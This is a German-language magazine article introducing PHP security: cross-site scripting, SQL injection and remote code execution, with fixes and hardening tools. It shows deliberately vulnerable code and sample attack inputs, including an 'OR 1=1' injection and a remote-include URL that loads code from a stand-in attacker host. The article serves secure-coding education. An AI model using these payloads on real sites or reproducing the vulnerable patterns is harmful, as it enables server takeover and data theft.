Auf Nummer sicher

Grundsätze und wichtige Aspekte der PHP-Sicherheit
Kommentare

Mit zunehmender Verbreitung von PHP als der Skriptsprache für das Web wächst naturgemäß auch die Zahl der Skeptiker. Neben den vielfach angeführten „Enterprise-Problemen“ wie Scalability und Performance, Sprachinkonsistenzen und angeblichen Mängeln in der OO-Implementierung spielt die Sicherheit von PHP eine zentrale Rolle in der Kritik. Aber ist PHP per se unsicher, wie viele behaupten? Ist es Schuld der Sprache, wenn viele Entwickler unsichere Software schreiben? Und was genau ist eigentlich „PHP-Sicherheit“?

Wie Zeev Suraski in einem Interview mit der Zeitschrift „c’t“ kürzlich einräumte, ist PHP so einfach zu erlernen, dass es oft von Anwendern ohne technisches Hintergrundwissen verwendet wird, um webbasierte Programme zu erstellen. „Jemand schludert eine Anwendung hin, […] und Stunden später machen sich Heerscharen von Hackern über die neue Anwendung her“, so Suraski.

Erkennen Sie sich selber in diesen Worten wieder? Möchten Sie Ihre eigene Schludrigkeit unter Kontrolle bekommen und Ihre Neuentwicklungen oder bestehenden Code gegen Angreifer absichern? Kein Problem: Mit einigen Kniffen können Sie jedoch Unsicherheiten in Ihren Skripten vermeiden und, sofern Sie eigene Webserver betreiben, für eine sichere Umgebung sorgen.

Ist PHP unsicher?

Wohin man auch schaut – auf Security-Mailinglisten, in Foren und bisweilen auch in ansonsten durchaus renommierten IT-Portalen – PHP ist allerorten als unsicher verschrien und die Anzahl der Sicherheits-Advisories, die „PHP“ im Titel tragen, ist förmlich explodiert. Die Schuld an diesen massiven Sicherheitsproblemen der Sprache zuzuschieben ist jedoch falsch. Grundsätzlich ist es nämlich in den meisten Fällen nicht Schuld der Sprache PHP, wenn sich in einer Blog-, Foren- oder sonstigen Anwendung Sicherheitsmängel offenbaren. Wie auch C oder andere High-Level-Sprachen, lässt PHP dem Entwickler einige Freiheiten, die durch laxe Programmierung zu Sicherheitsproblemen führen können. In der erdrückenden Überzahl aller Fälle ist also nicht PHP der Schuldige, sondern ein unachtsamer PHP-Entwickler. Das schlechte Image, das PHP unter dem Aspekt der Sicherheit hat, ist also weitestgehend unberechtigt – schließlich wird auch C nicht für Buffer Overflows verantwortlich gemacht, sondern C-Entwickler. Leider ist diese Argumentation nicht besonders weit verbreitet und so hört man allerorten – besonders natürlich von flamefreudigen Entwicklern in „Konkurrenzsprachen“ wie Ruby oder Perl – die Mär von PHP als unsicherer Sprache. Diese verkennen dabei jedoch, dass – so ironisch es auch klingen mag – Sicherheitsprobleme Teil der „PHP-Kultur“ sind. Schließlich – und da kann man den einleitenden Worten Zeev Suraskis nur zustimmen – ist PHP so einfach zu erlernen, dass ein großer Teil der Entwickler keine klassischen Programmierer sind. Anders als bei vielen anderen Hochsprachen ist keinerlei Hintergrundwissen erforderlich, um „mal eben“ ein „“ in seine HTML-Seiten einzufügen. PHP garantiert schnelle Erfolgserlebnisse, ohne dass der notwendige Unterbau zwingend beachtet werden muss.

Durch die Tatsache, dass PHP eine schwach typisierte Sprache ist, wird der Entwickler nicht gezwungen, Variablen zu deklarieren, muss sich also keinerlei Gedanken über den intendierten Datentyp einer Variablen machen. Damit ist dem Entwickler, der womöglich den Unterschied zwischen Integer- und Stringdatentyp gar nicht kennt, die Arbeit natürlich wesentlich erleichtert worden. PHP übernimmt jedoch keinerlei Garantie dafür, dass aus Nutzereingaben stammende Variablen auch wirklich die Daten enthalten, die der Entwickler erwartet. So ist die schwache Typisierung von PHP wesentliche Arbeitserleichterung und Fluch zugleich. Sie werden sehen, dass viele Sicherheits-Fixes schlicht darin bestehen, eine harte Typisierung für Variablen gleichsam nachträglich durchzuführen.

Ein weiterer Grund für die stark wachsende Zahl von PHP-Sicherheitslücken ist die massive Verbreitung von PHP. Die Anzahl der mit der Skriptsprache betriebenen Webserver ist mittlerweile neunstellig – PHP als die meistgenutzte Websprache zu bezeichnen ist somit nicht übertrieben. Zudem sind PHP-Applikationen typischerweise frei über das WWW zugänglich, können also anders als Clientanwendungen bequem aus der Ferne auf Sicherheitsprobleme getestet und bei Bedarf gehackt werden.

Es sollte nicht verschwiegen werden, dass auch im Kern von PHP und in den mit PHP gelieferten Extensions bisweilen kritische Sicherheitslücken zu finden sind, diese sind jedoch im Vergleich zur Anzahl der in externen Applikationen versteckten Bugs verschwindend gering. Leider ergeben sich durch die momentanen Eigenheiten des Release-Managements im PHP-Projekt einige Probleme – die Kernentwickler müssen momentan nicht weniger als vier verschiedene aktuelle PHP-Versionen pflegen:

PHP 4.4, PHP 5.0, PHP 5.1 und PHP 6.0, das nächstes Jahr erscheinen soll. So kann es passieren, dass ein in PHP 5.1 bereits behobenes Sicherheitsproblem in anderen Versionen noch vorhanden ist, weil die Release-Zyklen und -Betreuer sich mittlerweile unterscheiden. So ist erst einige Tage vor Drucklegung dieses Artikels die neue PHP-4-Version 4.4.3 erschienen, die mehrere kritische Probleme behebt.

Sprachprojekte, die weniger aktive Versionen pflegen müssen, haben es hier deutlich leichter – das Perl-Projekt etwa ist momentan lediglich mit zwei Versionen belastet. Die PHP Group befindet sich hier in einer Zwickmühle: Würde die Unterstützung für eine Version aufgegeben, so würden alle Installationen dieser Version gefährdet – bei PHP 4 sind das durchaus noch zig Millionen. Durch die momentane Praxis der gleichzeitigen Pflege mehrerer „Trees“, wie die Versionspfade genannt werden, erhöht sich der Aufwand jedoch um ein Vielfaches. Man darf gespannt bleiben, ob und wie die PHP Group dieses Problem angehen wird.

Was ist PHP-Sicherheit überhaupt?

Wenn Sie diesen Artikel lesen, haben Sie vermutlich die ersten Gehversuche mit PHP längst hinter sich und entwickeln eigene Anwendungen mit geringer bis mittlerer Komplexität. Sie liebäugeln an manchen Stellen mit objektorientierter Entwicklung und haben einige Projekte bereits fertig gestellt. Zusätzlich setzen Sie Open-Source-Software wie Blogs oder ein Content-Management-System auf Ihrer Website ein und kümmern sich um deren Aktualisierung (oder auch nicht). Das Thema PHP-Sicherheit umfasst mehrere Teilbereiche, von denen einige für Sie mehr, andere aber weniger interessant sind. Grundsätzlich benutzen wir den Begriff „PHP-Sicherheit“ für die Sicherheit aller Aspekte webbasierter Anwendungen von der Verarbeitung der Nutzereingabe bis hin zur Verschlüsselung relevanter Daten und Mechanismen wie Captchas.

Der mit Abstand wichtigste Bereich ist die Absicherung Ihrer Anwendungen gegen Eingabemanipulationen von außen, die von der Manipulation dynamischer Inhalte über die Verfälschung von Datenbankergebnissen bis hin zur Ausführung beliebiger Befehle auf Ihrem Webserver reichen können. Diese „Königsdisziplin“ der PHP-Sicherheit wird fast ausschließlich während der Implementierungsphase angewandt und lässt sich in einige Unterklassen aufteilen, deren wichtigste folgendermaßen lauten:

  • Cross-Site Scripting (XSS) – die Manipulation von Inhalten über unsichere Eingabevariablen.
  • SQL Injection – Änderung von Datenbankabfragen, um andere Ergebnisse zu erhalten.
  • Remote Code Execution – Ausführung beliebigen PHP-Codes oder Shellkommandos über unsichere PHP-Skripte.
------------------------------------------
 

[ header = Seite 2: Das Mantra der PHP-Sicherheit ]

Das Mantra der PHP-Sicherheit

Diesen drei „Top-Sicherheitslücken“ kann man durch konsequente und sture Anwendung des ehernen Grundsatzes der PHP-Sicherheit beikommen: „Traue keinem Input, der vom Nutzer kommt!“. Durch eine konsequente Anwendung dieser Regel können Sie Sicherheitslücken vermeiden, bevor sie entstehen. Doch was genau ist „Input, der vom Nutzer kommt“? Kurz gesagt: $_GET, $_POST, $_REQUEST, $_SERVER – auch Werte aus $_SESSION und sogar manche Variablen aus $_ENV können vom Nutzer kontrolliert sein. Wie groß das Vertrauen in Benutzereingaben ist, zeigt ein typisches Beispiel verwundbaren PHP-Codes (Listing 1).

Das Beispiel aus Listing 1 enthält eine Vielzahl von Lücken, die für SQL Injection, Cross-Site Scripting und die Ausführung fremden Codes genutzt werden können. Bitte probieren Sie es nicht auf Ihrem Webserver aus! Der Grundsatz, Nutzereingaben zu misstrauen, wurde hier konsequent nicht beachtet, was dazu führt, dass ein Angreifer sich an dem betreffenden Skript schadlos halten und schlimmstenfalls sogar den kompletten Server übernehmen kann, auf dem es läuft. Um Ihnen zu verdeutlichen, wie Sie diese Probleme schnell beheben können, werden wir jede Fehlerklasse einzeln kurz behandeln.

XSS

Cross-Site Scripting oder XSS ist eines der am weitesten verbreiteten Problemfelder in Webanwendungen und praktisch überall dort zu finden, wo Formulare eingesetzt werden. Suchfelder, Eingabemasken für Foren, Blogs und Gästebücher oder die Adresseingabe bei Onlineshops sind beliebte Angriffspunkte – irgendwo findet man eigentlich immer etwas. Nach einer gewissen Einarbeitungszeit werden Sie feststellen, dass Sie jede Website, die Sie besuchen, fast reflexartig auf XSS überprüfen.

Mit XSS werden allgemein all jene Sicherheitslücken in Webapplikationen bezeichnet, die es einem Angreifer erlauben, von ihm selber bestimmte Inhalte auf einer dynamischen Webseite einzubetten und so auch JavaScript-Code auszuführen. XSS-Angriffe richten sich nie gegen den Webserver, sondern meist gegen andere Nutzer einer Webanwendung und deren Clients, also Internet Explorer, Firefox oder andere Browser der Wahl. Ein typisches Beispiel für XSS finden wir im bereits erwähnten Beispielcode:

$_SESSION['name'] = $_GET['name']; 
echo "Hallo " . $_SESSION['name'] . ", Sie benutzen " . $_SERVER['HTTP_USER_AGENT'] . "!"; 

Hier wird zunächst die Sessionvariable name mit dem Wert des Arrayfeldes $_GET[’name‘] befüllt, das offensichtlich aus einer Nutzereingabe stammt. So hat der Entwickler eine Art „Personalisierung“ implementiert, die über einen URL-Parameter verändert werden kann. So kann der Anwender Peter Müller einfach die URL http://beispiel.de/test.php?name=Peter+Müller aufrufen und wird mit seinem Namen angeredet.

Allerdings könnte ein etwas weniger wohlgesonnener Anwender auch <a href="http://beispiel.de/test.php?name=alert“ class=“elf-external elf-icon“ rel=“nofollow“>http://beispiel.de/test.php?name=alert(‘XSS’) eingeben und erhielte ein entsprechendes JavaScript-Pop-up.

In diesem Beispiel kann die XSS-Lücke trivial einfach ausgenutzt werden, um auch weiteren JavaScript-Code von einer anderen Seite nachzuladen, indem ein <script src=““>-Tag in der URL-Variable übergibt. So kann bequem ein JavaScript ausgeführt werden, das etwa die Cookie-Informationen legitimer Nutzer ausliest. Auch andere Aktionen sind möglich – die Spanne der Möglichkeiten reicht von der Manipulation der Website selber, über die Weiterleitung auf unerwünschte Seiten bis hin zu Phishing der User-/Logindaten etwa für eine Online-Bank. XSS-Probleme zu beheben, ist in den meisten Fällen recht einfach: Durch die korrekte Maskierung von Eingabezeichen und das Filtern von HTML-Tags erreichen Sie in der Regel einen zuverlässigen Schutz gegen Cross-Site Scripting. „In der Regel“, weil das Filtern von HTML natürlich keinen Sinn macht, wenn Sie (etwa in einem Forum oder CMS) HTML explizit erlauben möchten. Hier kann Ihnen nur ein spezialisierter Parser wie SafeHTML weiterhelfen.

Um einen String von störenden Sonderzeichen zu befreien und für die Ausgabe auf dem Bildschirm vorzubereiten, verwenden Sie die Funktion htmlspecialchars() und strip_tags(), die Sie um den zu reinigenden String „wrappen“ – also etwa wie folgt:

Die Funktion strip_tags() dient dazu, sämtliche SGML-Tags (also auch HTML) aus dem übergebenen String zu entfernen – im Prinzip also alles, was zwischen zwei spitzen Klammern steht. Mit htmlspecialchars() werden „gefährliche“ Zeichen wie und & in ihre HTML-Äquivalente umgewandelt. Der optionale zweite Parameter gibt dabei Anweisungen vor, wie mit einfachen und doppelten Anführungszeichen, also ‚ und “ zu verfahren ist – auch sie sollten gefiltert werden. Verwenden Sie nämlich Nutzereingaben z.B. in einem Eingabefeld für ein Formular als HTML-Attribut, so kann ein Angreifer durch ein “ als erstes Zeichen der Eingabe aus dem Attribut „ausbrechen“ und so JavaScript sogar ohne die sonst notwendigen <script>-Tags einfügen.

Unterschätzen Sie XSS-Angriffe nicht! Mittlerweile lassen sich mit JavaScript sehr komplexe Aktionen relativ einfach ausführen und Angriffe mit XSS sind meist praktisch nicht zurückverfolgbar. Bevor Sie Nutzereingaben anzeigen, sollten Sie also immer mit htmlspecialchars() und strip_tags() für eine JavaScript-freie Ausgabe sorgen.

Unsicher Web 2.0 AJAX, Web 2.0, JSON und andere Schlagworte sind momentan in aller Munde. Webseiten wie Google Mail, Flickr und viele andere verpacken altbekannte Produkte (Webmail, Fotogalerien, Online-Shops…) in ein neues, über asynchrones XML aufgehübschtes Kleid. Allerdings gilt auch hier: Vorsicht ist die Mutter der Porzellankiste – eine XSS-Lücke in einer AJAX-Anwendung trifft nämlich doppelt hart. Kann ein Nutzer Variablen oder Code in das JavaScript-Backend der Anwendung einschleusen, kontrolliert er praktisch die komplette Applikation. So wäre es beispielsweise möglich, einen Gmail-Nutzer als Spammer zu missbrauchen, indem man ihn über eine XSS-Attacke mit einem passenden JavaScript versorgt, oder sich selbst verbreitende JavaScript-Würmer zu schreiben, die durch das bloße Anschauen einer Seite aktiviert werden. Ein solcher trieb unlängst in der Community „MySpace“ sein Unwesen und infizierte Millionen unbedarfte Nutzer. Deren derart gekidnappte Browser führten über JavaScript Aktionen aus, die eigentlich das Einverständnis des Nutzers vorausgesetzt hätten, nun aber so automatisiert waren, dass der verblüffte Anwender keine Chance hatte, die Aktion abzubrechen. Gerade in Hinblick auf die immer mehr entstehenden „Web 2.0“-Anwendungen wird Cross-Site Scripting also eine Renaissance erleben.

[ header = Seite 3: SQL Injection ]

SQL Injection

Anders als XSS richtet sich eine SQL Injection gegen den Server, genauer gesagt gegen den Datenbankserver, der dynamische Seiten mit Daten versorgt. Auch hier ist mangelhafte Prüfung vom Nutzer eingegebener Daten die Hauptursache für eventuelle Probleme. Eine SQL Injection liegt vor, wenn ein Angreifer eine Eingabevariable (meist eine ID oder ähnliches) so modifizieren kann, dass sie zusätzliche SQL-Steuerkommandos enthält und so den Ablauf und die Ergebnismenge einer SQL-Abfrage beeinflusst. Am Beispiel wird dies deutlich:


Das SQL-Query erhält eine Seiten-ID, die direkt aus der superglobalen Variable [‚id‘] geholt wird, als Argument für eine WHERE-Klausel. Im Normalfall sähe die vollständige Abfrage so aus:

SELECT * FROM website_inhalte WHERE id = 31337 

Der MySQL-Server würde nun die Zeile(n), auf die die Klausel „id = 31337“ passt, an PHP zurückliefern, etwa um eine Seitenüberschrift oder ein Layout auszuwählen. Modifiziert ein Angreifer den URL-Parameter, so kann er völlig andere Ergebnisse erzielen – setzt er in der URL etwa den Parameter /script.php?id=0+OR+1=1, so erhält er sämtliche Einträge in dieser Tabelle, da eine zweite Klausel hinzugefügt wurde, die immer wahr ist. Das manipulierte SQL-Query sieht folgendermaßen aus:

SELECT * FROM website_inhalte WHERE id = 0 OR 1=1 

Mit der SQL-Funktion UNION kann man so auch zwei Queries aneinanderkoppeln – sie müssen nur beide dieselbe Anzahl an Spalten zurückliefern. So ist es etwa bei schlampig konfigurierten Datenbankservern auch möglich, Usernamen und Passwörter für die MySQL-eigene Zugangssicherung auszulesen oder auf administrative Daten der jeweils eingesetzten Software zuzugreifen.

Auch für SQL Injection gilt: Datenvalidierung beseitigt das Problem. Im obigen Fall ist es besonders einfach: Der Wert id ist stets eine positive Ganzzahl und kein anderer Datentyp. Somit reicht es aus, die Variable im SQL-Query in den Datentyp int zu casten, um einen Schutz vor SQL Injection zu erreichen:

$inhalt = mysql_query("SELECT * FROM website_inhalte WHERE id = " . (int) $_GET['id'], $dbh); 

Sollen Usereingaben an das SQL-Subsystem übergeben werden, die Strings enthalten, so sollten Sie stets die PHP-Funktion mysql_real_escape_string (oder mysqli_real_escape_string, wenn Sie die mysqli-Extension für PHP5 verwenden) benutzen, etwa so:

$inhalt = mysql_query("SELECT * FROM website_inhalte WHERE name = '" . mysql_real_escape_string($_GET['name']) . "'", $dbh); 

SQL Injection ist noch immer eine sehr häufig anzutreffende Fehlersorte, die sehr komplexe Ausmaße annehmen und etwa in Foren und CMS zur unabsichtlichen Erhöhung von Nutzerprivilegien führen kann.

Remote Code Execution

Die Königsklasse von PHP-Sicherheitslücken führt stets fast automatisch zu einer Kompromittierung des kompletten Serversystems – die „Code Injection“ oder auch „Remote Code Execution“. Fehler dieser Art sind oft in Template-Systemen zu finden, die mit eval() PHP-Code ausführen, um eine Seite „zusammenzubauen“, oder gar in Skripten, die völlig unbedarft einen URL-Parameter als Teil eines include-Konstruktes verwenden. So auch in unserem Beispiel:

 

Mit einem Parameter wie /script.php?seite=index.txt würde – wie vom Autor des unsicheren Skripts beabsichtigt – die Textdatei index.txt inkludiert und deren Inhalt (vermutlich HTML) ausgegeben. Was aber passiert, wenn ein Angreifer eine Datei inkludiert, die PHP-Code enthält:

/script.php?seite=http://boeserserver.de/boesercode.txt 

PHP führt einen http-Request auf die Seite http://boeserserver.de/boesercode.txt aus, lädt die so bezeichnete Datei und parst sie. Jeglicher PHP-Code in der Seite wird ausgeführt.

Remote Code Execution ist besonders geeignet, um Ihren Server zu einer Spielwiese für Skript-Kiddies aller Art zu machen. Einige findige Südamerikaner haben bereits spezialisierte Webanwendungen geschrieben, die als „Exploit-Webinterface“ dienen sollen. Dieses „Defacing Tool“ findet sich häufig auf Servern, die über eine Lücke in einer PHP-Anwendung übernommen wurden.

Als Abhilfe gegen derartige Ausführung fremden Codes auf Ihrem Server sollten Sie auf keinen Fall Usereingaben als Grundlage für include/require oder ähnliche Konstrukte verwenden und auf die Benutzung von eval() mit Nutzereingaben ebenso verzichten. Auch die PCRE-Funktion pretg_replace() mit dem Modifier /e („execute“) ist tabu!

Arbeitserleichterungen – Security-Tools für PHP

Mit einigen Werkzeugen können Sie sich das Leben etwas einfacher machen, wenn Sie Ihre eigenen Anwendungen auf Sicherheitslücken untersuchen. Der Security-Scanner „Chorizo“ etwa ist für eine Domain kostenlos und erlaubt Ihnen mit einem sehr umfangreichen Reservoir an Tests, Sicherheitslücken zu entdecken, die sonst nur durch aufwändige Code-Überprüfungen zu finden wären. Einen kompletten Audit, die Durchsicht des Programmcodes, kann er jedoch nicht ersetzen.

Chorizo agiert als HTTP-Proxy, wird also in Ihrem Browser als Proxyserver eingetragen. Sie besuchen dann Ihre über das Web zugänglichen Seiten über diesen Proxy und können mittels eines ständig sichtbaren Pop-up-Fensters die jeweils aktuelle Seite überprüfen. So können Sie auch Kundenbereiche scannen, die ein Login erfordern – Sie loggen sich einfach mit Ihrem eigenen Benutzerkonto ein und können dann die Seiten nach dem Login überprüfen. Das hat einige Vorteile, birgt aber für den sicherheitsbewussten Nutzer das Risiko, dass die Betreiber von Chorizo, die Mayflower GmbH, sämtlichen Traffic mitschneiden und letztlich einsehen könnte. Das ist nach Aussage der Münchner jedoch nicht möglich, da alle Daten mit dem jeweiligen Passwort des Nutzers verschlüsselt und so für die Mitarbeiter von Mayflower unzugänglich werden.

Server-Administratoren sollten einen Blick auf den Hardening-Patch für PHP werfen, der mittlerweile in einigen Linuxdistributionen Bestandteil der „offiziellen“ PHP-Pakete geworden ist. Er fügt einige Security-Funktionen zu einer PHP-Installation hinzu und schützt zuverlässig vor vielen Problemen wie etwa unsicheren Include-Aufrufen. Die in Kürze erscheinende PHP-Extension „suhosin“ wird ähnliche Features anbieten, jedoch einfacher zu installieren sein.

Möchten Sie Ihre Anwendungen schützen, ohne sie zu modifizieren, so ist eine Web Application Firewall wie mod_security oder das neue BinarySEC hilfreich. Als Apache-Modul installiert, fangen sie verdächtige Anfragen anhand einer Filterliste ab, bevor sie den Webapplikationen gefährlich werden können.

Was bringt PHP 6?

PHP 6 wird zwar vermutlich nicht den erhofften großen Befreiungsschlag bringen, jedoch mit einigen sicherheitsrelevanten Änderungen aufwarten. Der berühmt-berüchtigte „Safe Mode“, der in PHP 4 und PHP 5 für mehr Sicherheit auf Shared-Hosting-Servern sorgen sollte, wird wahrscheinlich ebenso abgeschafft wie die mittlerweile seit vier Jahren standardmäßig abgeschaltete Einstellung register_globals, deren inkorrekte Handhabung noch immer für ein Gros an Sicherheitslücken sorgt. Zudem werden mit setcookie() gesetzte Cookies auf Wunsch mit dem httpOnly-Attribut versehen werden können und einige Features des Hardening-Patch in PHP integriert werden. Zu hoffen bleibt, dass die Adaptionsrate von PHP 6 nicht ähnlich mager ausfällt wie die von PHP 5, sodass ältere PHP-Versionen in absehbarer Zeit nicht mehr unterstützt werden müssen.

Fazit

Ich habe versucht, Ihnen einen grundlegenden Einstieg in das Problemfeld „PHP-Sicherheit“ zu geben und Sie auf einige aktuelle Probleme aufmerksam zu machen. Möchten Sie Ihre Anwendungen absichern und auf Sicherheitsbugs überprüfen, empfehle ich dringend, einen Blick in den Kasten „weiterführende Literatur“ zu werfen oder gar eine Security-Schulung zu besuchen.

Das Thema „PHP Security“ bleibt weiterhin ein heißes Eisen, und vormals als harmlos angesehene Probleme wie XSS gelangen durch AJAX und Web 2.0 zu ganz neuen Ehren – wenn Sie selber AJAX-Anwendungen entwickeln, sollten Sie besonderes Augenmerk auf diese Art von Sicherheitsproblemen haben.

Unsere Redaktion empfiehlt:

Relevante Beiträge

Meinungen zu diesem Beitrag

X
- Gib Deinen Standort ein -
- or -